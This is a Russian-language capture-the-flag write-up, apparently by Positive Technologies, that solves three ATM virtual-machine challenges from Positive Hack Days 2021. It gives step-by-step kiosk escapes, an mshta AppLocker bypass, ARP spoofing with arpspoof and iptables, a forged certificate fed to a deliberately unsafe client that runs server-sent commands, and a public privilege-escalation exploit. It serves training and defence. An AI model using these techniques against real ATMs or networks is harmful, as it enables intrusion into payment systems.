На прошедшем 20 и 21 мая 2021 г. Positive Hack Days в зоне Payment Village был конкурс, участники которого могли посоревноваться в хакерском мастерстве, в частности во взломе банкоматов. Организаторы подготовили три виртуальных машины банкоматов с разным уровнем сложности заданий. На протяжении двух дней участники пытались взломать банкоматы, но всего несколько человек смогли приблизиться к заложенным нами сценариям.
Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже:
Мы решили сделать разбор кейсов в этой статье, с помощью которой вы пошагово сможете прокачать свои скилы.
Bankomat1.ova (сложность medium)
Задача: запустить .vbs-скрипт в обход существующих ограничений AppLocker и каким-то образом повысить привилегии в системе до администратора.
Сразу после загрузки виртуальной машины перед участником появлялась надпись-призыв «Я банкомат и жду, пока меня кто-то сломает». Кроме того, в этом задании было много различных отвлекающих внимание секретов.
Например, внезапно могло появиться окно «Доступны обновления», в котором не нажималась кнопка, что давало ложные надежды найти выход из режима киоска. Или такое: комбинация клавиш Ctrl+Alt+Del работала, но открыть диспетчер задач не получалось из-за ограничений в реестре.
Комбинации клавиш и обход АppLocker
Для взлома банкомата участникам необходимо было каким-то образом подключить к нему клавиатуру, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Так как для запуска виртуальной машины используется VMware, у участников был доступ к клавиатуре, следовательно провести такую атаку они могли. Пробегаясь по кнопкам, участники могли заметить, что многие из них не работают: не нажимается аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, не работают комбинации Alt+Tab и даже Alt+F4.
Но вдруг после многочасовых попыток поиска нужной комбинации клавиш участникам удалось заметить, что после нажатия Alt+F4 несколько раз киоск все-таки закрывается. На эту идею их должен был натолкнуть запуск блокнота при старте виртуальной машины. Буквально на секунду блокнот проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том, что параллельно запускаются два киоска, которые нужно закрыть поочередно. Чтобы сделать это, нужно нажать Alt+F4 и левую клавишу мыши. После загрузки виртуальной машины сначала запускается notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, но закрываются они в случайном порядке, если не использовать левую клавишу мыши. Итого: мы научились закрывать киоск.
Далее по сценарию участникам необходимо было через блокнот открыть консоль. Следует отметить, консоль нужна для того, чтобы поэксплуатировать известную уязвимость в Windows, которая позволяет запускать .vbs-скрипты в обход AppLocker.
Невозможно запустить скрипт напрямую, но при использовании следующей команды можно выполнить первую часть задания: mshta "vbscript:window.close(msgbox("test"))
Повышение привилегий
Для повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль администратора, зашифрованный в Base64.
С этой задачей участники благополучно справились.
Bankomat2.ova (сложность hard)
Задача: обойти режим киоска и каким-то образом повысить привилегии в системе до администратора.
Этот банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу, проверяет сертификат сервера и, если он валидный, шлет команду getcommand, и на нее сервер в свою очередь отвечает командой, которую должен выполнить клиент.
Client.py
import ssl
import os
import socket
from cryptography import x509
from cryptography.hazmat.backends import default_backend
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
wrappedSocket = ssl.wrap_socket(sock)
try:
wrappedSocket.connect(('127.0.0.1', 1234))
except:
response = False
else:
pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True))
print(pem_cert)
print(wrappedSocket.getpeercert(True))
cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend())
print(cert.subject.rfc4514_string().split(",")[1][3:])
if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru':
wrappedSocket.sendall('getcommand'.encode())
os.system(wrappedSocket.recv(1024).decode())
wrappedSocket.close()
else:
wrappedSocket.sendall('invalid cert'.encode())
wrappedSocket.close()
Server.py
import socket, ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem")
bindsocket = socket.socket()
bindsocket.bind(('127.0.0.1', 1234))
bindsocket.listen(5)
while True:
newsocket, fromaddr = bindsocket.accept()
sslsoc = context.wrap_socket(newsocket, server_side=True)
request = sslsoc.read()
if request.decode() == 'getcommand':
sslsoc.sendall('calc.exe'.encode())
print(request)
else:
sslsoc.sendall('command not found'.encode())
print(request)
Итого: участникам необходимо было поднять свой сервер, каким-то образом редиректнуть на него трафик с банкомата и подстроить ответ, чтобы выполнить свою команду. Кроме этого, нужно было понять, как генерировать сертификат для проверки.
Итак, для взлома этого банкомата можно использовать ARP spoofing.
Далее участники могли скачать Kali Linux, ввести команду sudo apt install dsniff и установить пакет, содержащий инструмент arpspoof, который позволяет провести эту атаку.
После нужно было написать sudo arpspoof -t 192.168.11.130 -r 192.168.11.2, чтобы перенаправить трафик с банкомата через атакующую машину на шлюз (192.168.11.130 — IP-адрес банкомата, 192.168.11.2 — IP-адрес шлюза).
С помощью следующей команды участники могли редиректнуть трафик с порта 7776 на порт 8080:
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 7776 -j REDIRECT --to-port 8080
Далее черед генерации сертификата и запуска сервера на порте 8080. Можно использовать код, который я привел выше, запускать на банкомате будем explorer.exe. Сертификат генерируется с помощью следующей команды:
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
При генерации сертификата важно указать в Common Name сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат.
После генерации сертификат cert.pem следует поместить в папку рядом со скриптом server.py.
Итак, наконец участники увидели долгожданный проводник, через который им надо открыть Internet Explorer, чудом не запрещенный.
Далее участникам нужно было скачать эксплойт CVE-2017-0213_x64.exe (github.com/eonrickity/CVE-2017-0213), перенести его в папку kiosk, запустить и повысить права до администратора. Видео с демонстрацией работы этого эксплойта.
Это задание оказалось для участников сложным, никто не смог его решить.
Bankomat3.ova (сложность low)
Задача: обойти режим киоска и каким-то образом повысить привилегии в системе до администратора.
В этом банкомате большинство клавиш просто запрещены, следовательно, для выполнения задания нужно использовать другие методы. Для взлома этой виртуальной машины необходимо выйти в безопасный режим (клавиша 4 на следующем скриншоте).
Шаги атакующего:
Перезагрузка банкомата во время перезагрузки для выхода в безопасный режим.
Перезагрузка в параметры загрузки.
В виртуальной машине есть несколько аккаунтов: bankomat и администратор. При входе в аккаунт администратора атакующий не сможет ничего выполнить, так как перед ним будет черный экран.
Далее следует повышение привилегий. Повысить привилегии можно несколькими способами. Самый легкий из них: администратор не указал пароль для своего аккаунта, и UAC можно обойти, просто оставив пустым поле для пароля.
С этой задачей участники почти справились, им не хватило чуть-чуть: у них получилось удалить приложение киоска с помощью безопасного режима, но не удалось повысить привилегии в системе.
Выводы
Победителями конкурса по взлому банкоматов стали truebar и Soapboiler. Свои призы они уже получили. Еще раз спасибо участникам и победителям!
В статье были продемонстрированы крутые кейсы и техники, с помощью которых можно прокачать себя в пентесте банкоматов. Рабочих и наглядных сценариев для ARP spoofing сейчас действительно мало, поэтому мы и решили написать эту статью.
И конечно, завершим этот материал конструктивом для defensive: если вы защищаете банкомат, не забывайте про комбинации клавиш, прячьте свой пароль и обдумывайте логику проверки сертификатов. И еще обновляйте свой софт, чтобы старые CVE не работали.
Ссылки
Телеграм автора: @yurasikhacker
griba
Интересная статья.
Остался непонятным момент во втором кейсе с сертификатом
"client.exe, которое обращается к удаленному серверу, проверяет сертификат сервера и, если он валидный" - валидный в смысле по времени? ведь иначе получается, что мы подсунули самоподписной сертификат с cn=ab.ab.ru и ему поверили?
ptsecurity Автор
Спасибо за комментарий!
Имеется в виду валидный для сервера — проверяется домен, для которого выписан сертификат.